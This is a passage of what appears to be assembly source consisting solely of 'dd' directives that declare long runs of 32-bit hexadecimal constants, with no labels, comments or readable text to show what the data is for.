8F88331Ch, 0E87312F7h dd 3346882Eh, 0F1898F21h, 4089C6Ch, 0A252A5B8h, 0A5E57C56h dd 0D77C8220h, 10152F33h, 8BFAF08Dh, 2785238Fh, 1467F9E2h dd 2DAF1D00h, 27E7BC08h, 3E9677ACh, 4F03EBD2h, 0C9F085C7h dd 0E002BD89h, 2E00F49Dh, 0F26BB2D4h, 1EBB123h, 44DB2007h dd 1FC64EA9h, 0A0E2A910h, 8AC205Dh, 0C9019FC8h, 87F431F8h dd 0C2386C01h, 101F74BCh, 0B5A0FF45h, 6E086582h, 0F9CFFD94h dd 33605CADh, 5F83BB05h, 4078B822h, 260AE39h, 0B9C282B6h dd 0A095D833h, 46F23CBDh, 0FCBB6F00h, 0CA03F357h, 0B655908Fh dd 0D01B0840h, 43541D8Dh, 6195C381h, 3E74BACFh, 763D43h dd 9849D075h, 966F2072h, 0A9FFD03h, 0E0B37F59h, 0EA6A1D2h dd 0A81B3FE3h, 2800CD4Fh, 0D326E152h, 0C800C942h, 3BCAEB72h dd 888FA7B5h, 0A050C40Ch, 31CC080Dh, 21544C94h, 99C0C798h dd 85BE5F9Ah, 2D7444h, 0F40D4C80h, 0E4A8B423h, 40922D04h dd 432005FEh, 30206CABh, 0C080C943h, 150533F3h, 812C988Fh dd 0C700C91Fh, 84AC887Ah, 5CB873h, 2D227B7Fh, 0AF32F138h dd 21B3D01h, 0D81F69CEh, 0A59B5182h, 640126E5h, 4FC42D27h dd 0D4B81E7Bh, 0ACB9807Fh, 0EAAB7AB2h, 384BBD30h, 3090A1CEh dd 0CD514030h, 0B1F8B62Dh, 201F3A29h, 0E2E5213Ah, 0C034688h dd 710CA1Eh, 0ACB4E304h, 0DD37A97Ch, 68E13141h, 0C6011AE9h dd 0D0C111h, 6573A77h, 1D631285h, 9C007884h, 0EDE8DF96h dd 0D47CA1D0h, 82308F39h, 46935D20h, 80DA193Ch, 25E4247Fh dd 202992h, 0CCC5D6BCh, 0D30FAE0Bh, 0A35F100h, 9F985DA9h dd 12DF14ACh, 0F308B0B7h, 0AD065BBEh, 5886FEh, 2C6B049Bh dd 26F46ACFh, 5B33F602h, 986336B1h, 0E8274AC8h, 0CA260042h dd 0D3B15A76h, 94FD4C39h, 7781F668h, 6809BD32h, 4F60F5D1h dd 0F900F541h, 0ADCD030Bh, 7AF9844h, 0A8433447h, 144D73BCh dd 0C158096h, 0F05A66h, 0F8A8503Ch, 1C079C42h, 0C0459Eh dd 0A1B5E0C7h, 0BFE46C53h, 0F2EA7400h, 0F73BBC9Fh, 1613017Ah dd 3C5D09ACh, 35BEECB5h, 0C0CA4A6h, 60B879FEh, 0F9A8147Eh dd 0ED79E402h, 0A2ACC050h, 0E3B0383h, 0BB8F546Ah, 0E84F43B1h dd 507C806Bh, 0C41C391Bh, 843102F0h, 6A8A95BAh, 4918888Fh dd 918F1DDh, 0BB2882E4h, 314E60A8h, 865C4907h, 8F21673Dh dd 64A12F18h, 628217F6h, 548E363h, 3A79C7A0h, 0B8BC0032h dd 0ED543909h, 7C5DAE18h, 5ADB79h, 0DE7FE91Bh, 1869D2FAh dd 26E8CC02h, 9707A3ECh, 962740A8h, 0E0C268AAh, 482BE751h dd 30D5FE24h, 85F96C5Dh, 80AA8298h, 79510840h, 8660FC90h dd 81E06BF9h, 0E1260150h, 4FD68073h, 91CEC811h, 70D09954h dd 7A3FEC18h, 1DB60E1h, 0BB53E8B1h, 877F2547h, 3FEE0B18h dd 0E5031101h, 817839F0h, 81C6C31Dh, 0F4E03750h, 59F58618h dd 6031B3A0h, 0A001B810h, 586044ECh, 0E45246A1h, 0BC7B07E5h dd 426C7E80h, 6084C601h, 7F2B0082h, 0A88B3A12h, 3D78ABF0h dd 0F18272A6h, 77973173h, 40600903h, 69D690F1h, 1EE1FAh dd 660B027Ah, 4CF7B92h, 2C8182E6h, 68660BCh, 38E7799Bh dd 8076233Dh, 830701BFh, 54B0E1CFh, 19B94C2h, 0B10EB89h dd 20530EF1h, 5F04FC68h, 2DEFA788h, 12372080h, 0F23C076Ah dd 0D0C8A52Ch, 0A0988849h, 3E43F4A0h, 7AD41B12h, 35392421h dd 440148BAh, 4E632D45h, 76D88383h, 37A72A2Eh, 0C0E98038h dd 3934D359h, 38098498h, 10D60D55h, 48EA1B4h, 9D5A8E6h dd 8C14D0B0h, 6175E045h, 0DA0C10C0h, 48D5EA28h, 0EE0170E3h dd 9FC0F9C4h, 79BCE081h, 5C173114h, 0A1EA00E4h, 39A4A57Fh dd 0A965646Ch, 1D4C81BAh, 3E2600E5h, 5822F3EBh, 0CB91914h dd 5B330B08h, 6FCE1590h, 718855C8h, 75F001B7h, 0F05333A6h dd 0F774EFA1h, 2839D61Eh, 0D454B8F1h, 28C38048h, 2A0C53Eh dd 63310F38h, 88842B06h, 43F0C183h, 0EA95007Fh, 40BA6DADh dd 0C40A018h, 2ABB7D22h, 10B84B3Ch, 4A3F1B3h, 51699877h dd 5D4758D1h, 15840414h, 51E50164h, 604077EAh, 48E6BF3Dh dd 0AD15805Eh, 0A8C62428h, 0DF7B6101h, 0C85D262Ch, 0EA11A820h dd 9604B72Bh, 1058BB5Eh, 1948C330h, 65B3C022h, 424F802Eh dd 0EE3D6498h, 3E80D27Eh, 267AA225h, 98CBA55h, 4021308h dd 0FC80EC9Dh, 0E444F23Ah, 9A03689Ah, 19CE0C21h, 0A0483878h dd 30089624h, 0F660D788h, 250156F0h, 7189BD86h, 0C1808598h dd 0A1044E46h, 0E8C150E8h, 25EA8AF0h, 0EE0D3C4Ch, 102384A9h dd 0CB750424h, 0BB4A21A7h, 5748EA18h, 15796430h, 17CF8070h dd 0B7752384h, 620AA508h, 0C9307E60h, 29B64277h, 0FA847856h dd 38278772h, 6C788149h, 42552D5h, 5C421801h, 2214A9A8h dd 38285025h, 0FE15EC88h, 15305963h, 67A823E2h, 17A4F130h dd 0D5F59543h, 0F8688A8Ah, 0F00AD398h, 6075B444h, 98CFD542h dd 0A46A7A9Ch, 5FA22930h, 0C495889Ch, 18CC90C2h, 218CBBF9h dd 0CC95882Dh, 348DC2D8h, 4CD211B3h, 5454466Ch, 0C9463D3Ch dd 0A0A2581Eh, 0DDF1D205h, 0DC88A912h, 9E254184h, 5E31138h dd 81AEE78h, 21E2C158h, 7C3018B9h, 7EC5218Ch, 0C5F46A95h dd 5844864Eh, 506252F5h, 0BC153C90h, 3C708889h, 0C11C6665h dd 10103121h, 41884074h, 43C9A94Ch, 7A24111Ah, 633BCA02h dd 0E885CCF6h, 1180483h, 132832A6h, 1C21D973h, 0B9A208B6h dd 466D42C2h, 52F92360h, 46213EE2h, 18ED56F0h, 7AB39B00h dd 97D31EFEh, 0F4D7AF00h, 0E440CA3Bh, 9B6E00F9h, 875F4754h dd 3120C077h, 43092694h, 4BD300E0h, 8C2C69D0h, 243C537Eh dd 0B5B0060h, 0F719138Dh, 400D0F33h, 78E30725h, 61E080F1h dd 2F14F3AFh, 83CCA39h, 423AA343h, 4130943Eh, 118A4204h dd 0D09CD4E4h, 1AE3C435h, 0CF108860h, 2C632384h, 78D4930Ah dd 0B064E282h, 8ABD107Ah, 3CE85386h, 0C4BF4810h, 0A2411E47h dd 8019AA51h, 0A669F211h, 61946414h, 0AD1A30B0h, 0C1608A80h dd 28886C39h, 303699D3h, 1A7180F4h, 0DAF993Ah, 0D8FC547Eh dd 0DD4B88F1h, 10FA4786h, 7CDA899Dh, 991C6010h, 1BD72B86h dd 0D3F40A9Ch, 70FF64D8h, 44E6E4B3h, 18E14AD6h, 3C9954D5h dd 11D146B0h, 9B0031FCh, 0D5C6FE68h, 1A75F765h, 3CAA6C00h dd 45C29C1h, 7328C0D0h, 1AF69855h, 0ACE6D10Fh, 0C07ACF41h dd 0AE76E035h, 8D150C22h, 0FBB0273Fh, 5129F933h, 0C44E4550h dd 7B24B0EEh, 214F7EE8h, 7F95B435h, 0C6FB0C84h, 0F80849A4h dd 0F90CA063h, 44C688D6h, 7BA8B1CFh, 48ACE058h, 5D981DD2h dd 47283080h, 0A0ABC7AFh, 0D0161810h, 6D569103h, 7AC0430Fh dd 0C12623D8h, 620ADC75h, 0D106A896h, 0E59C58Eh, 0FB6AC07Ah dd 70C61440h, 94A822A4h, 4B42D3D8h, 4C2C2FCFh, 830E04E0h dd 5B2522A9h, 3A507C40h, 194CDE17h, 3510FE30h, 29C39C30h dd 9AF07472h, 1BE480CBh, 60394D7h, 8F7680CCh, 276038BCh dd 963897E1h, 2449012Fh, 0D9DE58C8h, 8888125h, 0C0A90EB5h dd 98C4CC41h, 0F983C117h, 60A44CE0h, 19D0A761h, 80D62464h dd 67AEDBFCh, 28E660CCh, 7DA2016Fh, 0AFFDDE01h, 24602B54h dd 9A808E4h, 1433AB85h, 28560306h, 0D5DD1D00h, 4CC753DBh dd 6B4900B2h, 313B1686h, 4F005628h, 38BF090Dh, 3087FDD9h dd 6C5115DFh, 188EE4Ah, 578819BAh, 47CD28BCh, 0DC9D003Ch dd 0E3073940h, 0B0BE2A4Bh, 81D4D882h, 4379A08h, 866E888Ah dd 22560095h, 6839A699h dd 31ED5D1Fh, 4D16FF07h, 0F5079CFFh, 6EB6231Fh, 778C3EC0h dd 111CA898h, 0EE29DC9Eh, 790830D8h, 447D3FA3h, 0E01F12D0h dd 0EF0A8D67h, 48155885h, 3A0F0078h, 9F0767AAh, 3E460AB1h dd 448B4F0h, 40249398h, 34BEDC83h, 185100D7h, 5FDE9C4Bh dd 990C202Ah, 19D1CB24h, 83940392h, 0FDFAC8ECh, 9E90A003h dd 0A397F34h, 198D9120h, 0F02BC18h, 0E2A158B2h, 112B480h dd 3E00E749h, 0B482BA76h, 6D1DC3h, 71387D34h, 1825F169h dd 3A7FD5F2h, 0A0A1CF03h, 0FFDD2B82h, 3C075CB0h, 947F0291h dd 0D74E6EBFh, 0BAEC1480h, 2911DADEh, 0CD3E5F1Fh, 2861F800h dd 4BDF47DDh, 0CB3AD600h, 876495F2h, 0B410C123h, 0EF9C268Ah dd 0BB1DC0D0h, 292EE918h, 799D9E90h, 30FE7CCEh, 0E6304AB4h dd 0B9334F8Ah, 0C76F1080h, 0FECBC4h, 691DF631h, 8B2671CFh dd 9C06844Fh, 0C186B1Eh, 0DDEFF03h, 34007C58h, 3DB07B01h dd 0E6902391h, 4DE8CF92h, 0C6BEEFE3h, 9F582801h, 90955C0Ch dd 0BBD70E8Ah, 37350648h, 2A295121h, 5D07A8ECh, 12832C9Eh dd 2778031Fh, 0BA356329h, 0A7BC107h, 0AC429321h, 0E9094034h dd 49906182h, 43704AA4h, 52A10384h, 7B77C5D1h, 29D5D3C7h dd 216D2C43h, 6875E7C6h, 9C5D840h, 3E6146EAh, 4C2A906Bh dd 200B30D0h, 51A9D641h, 0F507E52h, 0C1D1C963h, 93AE0B6Bh dd 7B724848h, 3BBB89F7h, 484CDE87h, 84A8003Fh, 51221E8Dh dd 0B054D85Dh, 7A309E30h, 1BB4F170h, 15311587h, 71760844h dd 0A9E214CAh, 0BF07BC78h, 3C09FEB9h, 9C609E48h, 5726A969h dd 91583EF2h, 823EDB0Ch, 17000759h, 7F67B7FBh, 63BEEC6h dd 14BF8141h, 0C732F970h, 8084E0E0h, 0B96FDF08h, 4AAD40FCh dd 0D58C8601h, 0BE318D80h, 0ED2C5980h, 0D369C957h, 9213D81Ah dd 0C5948319h, 287E8A16h, 82D10E34h, 35DD14F8h, 1FF02F0Eh dd 3830B29Dh, 1214DC0Ah, 29F1F3D0h, 0C89AD808h, 91F8C0A3h dd 88A08E81h, 56F4FC4Ch, 9C807998h, 17240135h, 308458AFh dd 540FB208h, 3AC2C7A2h, 0B0299E01h, 0DA085840h, 573618A7h dd 0A62D38DEh, 216B2303h, 29EEF3CCh, 2420DA28h, 18031E29h dd 7654E9F6h, 328EF501h, 3BE9B97Ah, 3E409C50h, 357E0FF2h dd 0A78CB084h, 4F3F2F19h, 11231C1Fh, 79F2D74Ch, 0B0BF3020h dd 0D580721h, 0B427E615h, 31D722A4h, 311038B6h, 968847CBh dd 0B730103Bh, 246121F1h, 848501Eh, 3312F01Ch, 1431C639h dd 0EE782011h, 29427F20h, 1402E605h, 1BB85EC1h, 0D5823074h dd 6EB95F20h, 0D321C4E6h, 1448906Ch, 51123D60h, 4C40E872h dd 0BC31FB64h, 0A0A8A04Fh, 0FEB70C50h, 75309C84h, 1C5EEF12h dd 3235B001h, 66C8212Ah, 3FBF58B7h, 0AE6D9160h, 6F0052E7h dd 775F72DCh, 2628FABAh, 0A32EE74h, 24A0342Eh, 631009B0h dd 7A13A480h, 50E15A73h, 206D50F4h, 7A40F0AAh, 0C23A089Bh dd 3F018CC3h, 0AD11838h, 0C4F3BD5Ah, 0CC4A00F7h, 96EEFC8h dd 0B213D712h, 74581854h, 69706C00h, 0E9B77FA0h, 0E0ECA83Dh dd 4B72269Dh, 52C0037Ch, 679F2BC9h, 71AED3DEh, 0FF07E800h dd 7E62B674h, 0BDEF03C6h, 7B9DFE76h, 0B41FB010h, 458D470Dh dd 48C82170h, 4F624134h, 10B01040h, 0A0C80ABCh, 7F638A91h dd 32CD80FCh, 97A59672h, 4460BC48h, 0AD3B1024h, 34758447h dd 3C902F18h, 9A668C29h, 229F3078h, 3BE6CF49h, 19000374h dd 7969489Eh, 4A1FDE10h, 0BB9B801h, 15B64A0h, 981E256Ch dd 18895425h, 0C00FB134h, 517D6D86h, 9094A50Eh, 9AE38EB0h dd 1AC048F1h, 89E507Dh, 0ACDA54E2h, 65A71375h, 69B00087h dd 9013762Bh, 3ACCB60Eh, 0C3599B18h, 8A1011C9h, 8CD624D7h dd 26089A14h, 41147C98h, 68CA2018h, 9471B3h, 5669C83Eh dd 0DCEA6A3Dh, 24B43F58h, 4E2844F8h, 514D509h, 7C960120h dd 302403C9h, 5738C111h, 98737735h, 4819BA02h, 9CE81647h dd 92681D6Dh, 0BB6C4375h, 1819E990h, 34A839D2h, 99D3E824h dd 0CA561CBCh, 7F078BBh, 0A3C701D9h, 2901AB15h, 0A118418Eh dd 2D1B1BAh, 5C4255C1h, 0CB14C1CFh, 241AEC51h, 593A109Bh dd 9D4046C2h, 21CC2B73h, 44AA1030h, 5E80489Ch, 34B89BEh dd 0EB310114h, 94E1D36Eh, 0D490D4D7h, 60543CB0h, 0A80FE4ACh dd 0CF7A74BAh, 7C0A3635h, 0C609A03Dh, 76A00265h, 8CA468D8h dd 34F54Eh, 505D7156h, 0B299890h, 1CEE02A5h, 81C46413h dd 532810F8h, 3000A784h, 55409045h, 1615D5BCh, 50138Ch dd 0CDBB8BDCh, 867472A2h, 4885913Fh, 0C5550044h, 5F96E9E1h dd 0DFCC147Eh, 0B22AC872h, 0D67C2064h, 468CF3Dh, 2356461Eh dd 90265704h, 87532958h, 1138C630h, 0A2062BAh, 2B1AD4CEh dd 0D50F47BCh, 30782D3Ch, 70F7D594h, 90D4C0h, 819CE548h dd 0DD1ABFF9h, 4FF0842h, 59B8C88Bh, 9DE3CCA8h, 0F8452204h dd 50C89A90h, 0E0F10B56h, 4081CAB9h, 54AFC7BBh, 0D421C0FCh dd 11C0F526h, 796B3356h, 7AA915F6h, 6F01E023h, 806EBBFCh dd 31AC3424h, 0F08D3C24h, 670C342Ch, 0B84518D2h, 1AC24534h dd 787010D8h, 0DB01F83Dh, 86460204h, 0E02BDD1Ch, 84007B24h dd 2D14D40Ch, 0A02759F2h, 120316D1h, 9101D2EFh, 43125670h dd 6100BB9Ch, 41DD3D6Dh, 61B3C8D3h, 0C3471190h, 0C9384001h dd 3E5D35F1h, 1C912Ch, 9E5254E1h, 9021E32Dh, 0A84CED50h dd 4CA3869Fh, 60A847F1h, 8CA583D8h, 8E87894h, 42719219h dd 7031F145h, 12596E18h, 95056A8h, 20930911h, 7D7A4544h dd 682D2C86h, 0FAEB81B0h, 5520606Eh, 9F5442C0h, 80905776h dd 30982243h, 30371F24h, 6F41FDE4h, 8F7D4028h, 0F91B3971h dd 7CF44750h, 0C6C70277h, 8DD32090h, 2BB0C8A8h, 0FA85919Ch dd 41A96313h, 0F0A10980h, 9CF860EDh, 4800C499h, 30029173h dd 0B9711C23h, 47F9F06Dh, 6332D3F9h, 80CAA946h, 541D4394h dd 486B304Bh, 75585518h, 98D29F16h, 0CF353800h, 944F7CC1h dd 12A704F4h, 685321F6h, 78766C30h, 745550AFh, 9517F61h dd 2377B6A1h, 0B067CA0h, 0D30114E4h, 0ED630ADAh, 0F3D01BBEh dd 0F2D0C1DEh, 987F7620h, 12491C58h, 0B1436015h, 94D52CD7h dd 0A9EED800h, 44E16954h, 0FE6D00D4h, 827C6713h, 0CB7CC51Bh dd 7731D01h, 7E35BF65h, 24B0E8D0h, 972417FEh, 1FC44A1Ah dd 23EB1F08h, 7205319h, 688A4010h, 3E24EEFEh, 0F2828CAAh dd 0C3353BB5h, 28D2B490h, 1E94402Ch, 0D78B05C5h, 907D7251h dd 2D4C5784h, 7C51196Bh, 39260CB0h, 93549939h, 0F09147E0h dd 227E3309h, 84DD2DA0h, 0F9411714h, 0CE59CD3Fh, 7513C048h dd 1C44A0B8h, 0DF1E12A7h, 9D6C0FCEh, 0F3F07E02h, 0CACB084h dd 0A449BFh, 4FF4CA53h, 0BEA13D3Ah, 18B91471h, 919E302Ch dd 0A9C4182Eh, 7197175Eh, 0E0906A28h, 4080D519h, 0CC80B865h dd 76D98770h, 7F104162h, 0D4C24BAh, 0B7CC91C8h, 3ADE0C68h dd 0E469471Fh, 142B603Ah, 15A1627Ah, 148821FEh, 929844DEh dd 20FA9809h, 0B6975854h, 90923B83h, 7EDF5580h, 2960F2CAh dd 2AFF0313h, 0A8795C80h, 6C964851h, 0F653310h, 26324527h dd 1118EFBEh, 80C343FBh, 26A58CDAh, 3C0C00ABh, 0FED4F191h dd 520012B4h, 75B0AD54h, 0A0D87197h, 0E9D2CF40h, 4E3E9420h dd 0FF543C29h, 0EF8869F6h, 0E2EC96E3h, 1414251Bh, 0D0CAB0A2h dd 0E070014Eh, 10C3B482h, 0EA7077B5h, 30B92449h, 0B0C405F0h dd 0A3178223h, 0E1351C40h dd 0C8C0EA70h, 5045E2D1h, 0BBDD0331h, 466BC836h, 1CAAB0E7h dd 0F482DF5h, 313727E0h, 0BA10E570h, 4302EADEh, 1F02E68Bh dd 0C754682Ch, 89A820E2h, 0B01EBB3Fh, 72D1586Ch, 18806499h dd 38BCC971h, 36FA028Ch, 80401F37h, 27A75888h, 90950049h dd 39F1E208h, 0AE016D2Bh, 614562E9h, 0CF40441Ch, 128D9FD1h dd 805C13DBh, 61373934h, 58B01460h, 0C3ABA5EFh, 79C70748h dd 4C0A1926h, 0B033AC4Ah, 126EA59h, 47214A36h, 0CE9BB1D8h dd 8480FA77h, 8FD42D5Ah, 6C069075h, 0EC7E5334h, 0C77A21F8h dd 48DFA210h, 59F58F9h, 6EAC421h, 0CB1938Dh, 0F99617A7h dd 4008BCF8h, 5C6F8A02h, 73080702h, 4045F3F7h, 5C59B408h dd 4F1060A9h, 0A24A003Bh, 2CDBC017h, 9B32167Fh, 0A1C842F3h dd 0BB03B084h, 318D9906h, 5C23C20h, 0E2C82C6Bh, 3AD8930Dh dd 6E74FB8h, 9E200853h, 0F080BE51h, 9E4B0B96h, 0C45F4528h dd 199F2A00h, 0F6E3D27Eh, 3B0CF69h, 8789AA84h, 0BDB921E8h dd 4A34242Dh, 0AD413600h, 0B86B269Fh, 0D2543E7Eh, 25053074h dd 0AD181720h, 0E71F1D00h, 4406D6AAh, 2DE0E875h, 5409329Dh dd 0F3F228C8h, 6EE8671Eh, 0CA3DABC9h, 31E46024h, 0A014BA98h dd 82EEF7C0h, 0B4A420C0h, 6E119C2h, 40A04004h, 714E2488h dd 9610BED8h, 0BECF3A3Dh, 9900FE5Bh, 0D6523641h, 6FE6Bh dd 0C57858CBh, 42B8AFCCh, 4AA2ED00h, 80FB6F4Ch, 8A5402BAh dd 76430DFh, 0F8C28BE1h, 683EA3A0h, 7300F3C3h, 6CCC7872h dd 74F6D280h, 0D62A00C4h, 4120424Ah, 0B100DA97h, 7A0B750Ah dd 0C85DA6h, 0FECE6EE9h, 7685FDF7h, 3CC5F900h, 9A0E0344h dd 9FE5079Bh, 3075A64Bh, 745E6AC9h, 0F6F15F00h, 792B7AA7h dd 0A8681DE8h, 7E0E1C53h, 606EC13Ah, 20741B93h, 0DDFD6AE0h dd 0D509FA01h, 0BD9A1EE4h, 588450DDh, 0C059F651h, 0DB326C5Bh dd 0B1683701h, 280594F9h, 3BAF0F8h, 264E1B45h, 500170E3h dd 3C5CE7DBh, 0EBE83411h, 62DA00D5h, 7A6A7601h, 8A14C593h dd 1F40F5C1h, 94CEE455h, 2C7103F2h, 7C4AA86Ah, 89F80022h dd 75B9DB5Fh, 7818701Ch, 0E8C04F1Bh, 7D473A69h, 6244FE00h dd 0B0733782h, 0AFF62C18h, 710B59h, 0A0FC22B7h, 0D66B20F1h dd 46741C03h, 0A0EF1560h, 1477936h, 0B39E7DEAh, 0F1177E03h dd 629443DDh, 0ED9A97C0h, 4870237Ch, 1778F800h, 0DF82AB55h dd 2ABE0074h, 3BA8F43Dh, 0F18321Fh, 12181967h, 0C5C30146h dd 93EF2188h, 5559E013h, 8B00A978h, 118EE030h, 8A1768h dd 7078E6EFh, 50FC4A9Ah, 0B1FB1D00h, 73A7729Bh, 0AD1A06F6h dd 801948C9h, 3065424Ch, 0B9A3184Eh, 0F931310Dh, 0CC5FF098h dd 0D3675136h, 0CC30E568h, 79CE6B6h, 0B98B2A64h, 0BE77D382h dd 69EECF80h, 6089175Ch, 45E36180h, 0A458C08Bh, 0A92D8129h dd 6AC82A80h, 3C9F1892h, 895AE581h, 0FCB75ECEh, 1400A9F2h dd 0AD7E4297h, 771FA224h, 0E6A4A039h, 30FF9013h, 8391A086h dd 0BE447A48h, 63231EE1h, 57FE0012h, 14625DE0h, 87620BE8h dd 365144E8h, 0C07459D1h, 95CF0AC9h, 984D039Bh, 0A2A9B121h dd 0C888F900h, 0CB65E9Ch, 7C2D3011h, 0F7A7E0A8h, 0CD000AE2h dd 5BD9FDACh, 0A03BF4F8h, 0E0CC08Fh, 3E6A5088h, 0DBAE5F40h dd 2160D85Ch, 0B2B7CB09h, 2EDA7D9Fh, 27D2E8h, 0E0515523h dd 98006ED6h, 15E10382h, 1C1D9A85h, 0DE9B5B1Ah, 5807402Dh dd 7D931F33h, 64114300h, 0FD72F124h, 8539038Ah, 77525FB7h dd 0E0874C83h, 0E189DC80h, 8C823330h, 749A04Fh, 0AF64EBB5h dd 7DA6F0DBh, 0F37EE7BAh, 44D9B201h, 7223C5A1h, 3CAB30h dd 0B7280B78h, 2015E525h, 0F500317Dh, 8BAFC7A9h, 11CB91Fh dd 85B4AA71h, 0E43C99EBh, 2F01F9CBh, 34ED7D60h, 0B880F283h dd 0CD51F0D6h, 3200C7D1h, 0F87AB9EAh, 77F2F731h, 62C5006Dh dd 0ABCBA499h, 0E6487BF4h, 0D0260034h, 50BB0FADh, 8690006Ch dd 0B05269CCh, 39014E41h, 37FCC058h, 0A3E87A4Ch, 2127222h dd 15EF1463h, 86804DD0h, 2C537F78h, 41832E00h, 67D8BDCEh dd 0A8B43994h, 6280A03Bh, 0F5285660h, 49011AAEh, 0ECC9CEB3h dd 0C1808217h, 85625B52h, 86002116h, 9B4FA695h, 4CACD6F7h dd 0B4006C27h, 54C1912Ah, 0FB00E0BFh, 0C431D0F4h, 1EFC2E4Bh dd 4083595Ch, 0A28EDB69h, 4400584Eh, 996F133Fh, 67931h dd 0F94F7A22h, 0C38E7B2Ah, 403B1618h, 0C737B0h, 0A3C04C6Fh dd 8FB2AB9Eh, 51A4551Eh, 6DA17D00h, 2CCD1881h, 1334B0F3h dd 0A7EE07C3h, 0B954070h, 0A8A0EE44h, 1F0ED333h, 0C0ACDDDCh dd 0D150FB8Ch, 0F9EF0FF4h, 0A5A0D8BFh, 52A9766Ah, 0E0553639h dd 83997B81h, 9FA7FB2h, 0D56DB3E0h, 0FC449300h, 71001BA8h dd 5CB5F77Fh, 0B8474D5Bh, 29250EA8h, 8C9C6F9Dh, 0DF487719h dd 0BCDBAC08h, 41740794h, 9CAB4007h, 58269E54h, 6837082h dd 0D6B10B9Bh, 20C0E39h, 6DA713AFh, 69854BE0h, 0FFB031C4h dd 46ACE85Dh, 0C530D300h, 76B2CCE9h, 4C030B3Dh, 1A842E5Ch dd 6EFE805Ah, 0CCF9ED52h, 2A0095CDh, 2E3886B1h, 0F258369Eh dd 946C0067h, 2256F11Dh, 28924EAFh, 26D0CE03h, 9B50B4CDh dd 1EDAC8A2h, 7DC700CFh, 677A3A34h, 8F003217h, 5E0B3C68h dd 7A5F7639h, 0AC1800E3h, 3806B1E0h, 0BA00AD62h, 0E9A6C1DDh dd 0FC4157h, 0B17A7149h, 0EA1CB2A3h, 0AC6C3E1Fh, 0DD745FC0h dd 7736548h, 0C0320BB7h, 5C10B34Dh, 7695F780h, 0A2459F0Fh dd 7852A0B2h, 0A98754h, 949DFE8Ah, 0C5AAED2Dh, 591D19FCh dd 9804A27h, 0E47CCAB9h, 327F1EC3h, 70AE0094h, 34566D8Fh dd 0BB0062E2h, 8BC75829h, 281280F1h, 0CCEC19h, 119FF44Ch dd 0FD2DB87Ah, 23273B00h, 0F8B48791h, 0DC9406D4h, 72042179h dd 7140B900h, 118154E1h, 569A054Eh, 1FA6B81Fh, 90500F8h dd 0D59E5057h, 1595F900h, 13B47F39h, 48DE3EE6h, 0F358EF81h dd 0C4705F40h, 0EB7A5B54h, 5E914Ch, 0DA4FF734h, 0C01BB4FFh dd 0ED8648A8h, 311F08BAh, 0BC4B2B2Ch, 20042F3Ch, 52BEA435h dd 0FBE1245Fh, 616D0140h, 24CF94A2h, 814CD56Ch, 1BD60077h dd 0E9E3E1A8h, 533C0260h, 9DB61036h, 4E78B840h, 0D7661309h dd 0C10C0061h, 3CE98Bh, 76F91BD4h, 6403D291h, 0C6215E0Fh dd 0C3A840EDh, 56501Ah, 46C8F799h, 53D5B395h, 41006BE4h dd 54C6884Bh, 28351DC7h, 3EF84C39h, 0C50C3789h, 0AC10775Eh dd 2BE7522Ch, 8DD1AE00h, 0E15909h, 0B0DD55E6h, 974AADCAh dd 6EB87800h, 0ACF43BB1h, 0D7740071h, 0A9CBFA5Dh, 3412CE29h dd 0C7A8A19Fh, 90F0007Fh, 67B88D0Eh, 7F00EFAFh, 2C2DEAB9h dd 2B3EC3h, 624E3A3h, 0E6025CE8h, 0BF279600h, 762688DCh dd 0D175000Fh, 0A0054D81h, 0C001BAEh, 2A0DDE79h, 3D0E02B9h dd 5B00F84Fh, 0C14B5320h, 0EC0038B0h, 2B6DED2h, 0C059C628h dd 887D1A84h, 0A81FEAE7h, 0D801D3Ah, 2FE88506h, 0B0D70086h dd 31AAAFC2h, 79003E0Bh, 2B904053h, 0EBB48h, 0E92FEA21h dd 8E1035C7h, 0DE328A00h, 64DC4E59h, 2B030190h, 0AF0C2918h dd 6239F0F9h, 0FE54A400h, 0D20EB63Fh, 86651E2Fh, 5D45C052h dd 0E506D48Dh, 0F50C8C00h, 0AAF16E78h, 0F8C9005Eh, 7F3FA5B5h dd 8E004319h, 0E23C53AEh, 0F6969888h, 9BC30F87h, 0E0208BF4h dd 300182D7h, 9D00BDE8h, 35E2C8CFh, 7698CC8Ah, 0AC7F0110h dd 0ECB5E012h, 0B182860h, 116825h, 0A0921382h, 0B93A01EBh dd 18EFE3B4h, 0BFFEDCE5h dd 0CE83FA00h, 0A023ABF6h, 792D1769h, 0C5E40046h, 96555CCh dd 2CFBC700h, 38360E58h, 3E940740h, 0C097A184h, 2651D3B5h dd 0F38C18C7h, 0DC0D805Eh, 1D311C41h, 746361h, 8DEE606Fh dd 21C32794h, 3A7EE6BBh, 8407AA39h, 400E9656h, 0D64A6A5Fh dd 72DEA600h, 0DA3AD1BAh, 8C61008Dh, 9445CC5h, 4900771Ah dd 2C62640Ah, 2EE75A36h, 46F575h, 275F0D41h, 50C08C14h dd 355687D9h, 2D10008Fh, 0E11551BBh, 1776F5D8h, 0E00331F6h dd 6BFD61AEh, 0D9006DAh, 0A80E81A7h, 0C100F7F0h, 518B7C36h dd 1495453Ah, 10EC588Eh, 0DB6EFD0Ch, 3F00AD39h, 56CF0914h dd 0DC07A1h, 4F5E54A8h, 55297E9Eh, 6D833C00h, 45C3802Dh dd 0EC9800FEh, 7CE7DB51h, 8107DC6Ch, 0C8B908BBh, 0CAEDB243h dd 0C0DF6058h, 0B4393B42h, 0ECDA0CBBh, 0AB80005Bh, 21340D96h dd 85B6003Eh, 0A9758F02h, 0D200C7FCh, 1A26F24Fh, 1A396734h dd 0A82DA7F5h, 9507E180h, 9C00ACCAh, 8292CF9Ah, 8AA1B0h dd 8D1D3CBEh, 7B23028Bh, 0EB0CFD77h, 91A2724h, 0D2D0040h dd 32701535h, 7400CCB6h, 6B98E7DEh, 1020B22h, 13774166h dd 0FCBDC6C4h, 0FE0037C5h, 1AADABF1h, 6BED32h, 9B81EF4Dh dd 0F4C038B9h, 53D3B100h, 6DD08FD4h, 0C17E00B7h, 295F16F6h dd 0E10179F8h, 619F4CA1h, 74707566h, 0B41A0F22h, 0C1E0EE16h dd 0D4F9030Eh, 0BB4DD700h, 22E7F83Bh, 0A07158BDh, 0C1ADEC00h dd 0AFA9F56Eh, 13785D18h, 1FEBCD8h, 0A0F46B2h, 0F81081BBh dd 0D600147Eh, 537435E0h, 3E33CB5h, 8D6811B8h, 6F90A29Bh dd 2F00247Bh, 0B146E0B3h, 3A9E358Ch, 1F8BD319h, 67005B97h dd 0AE05D225h, 4007892h, 7E843C98h, 685D568h, 42FFF645h dd 7314E05Eh, 288EEB8h, 0D6A35DC1h, 1790A099h, 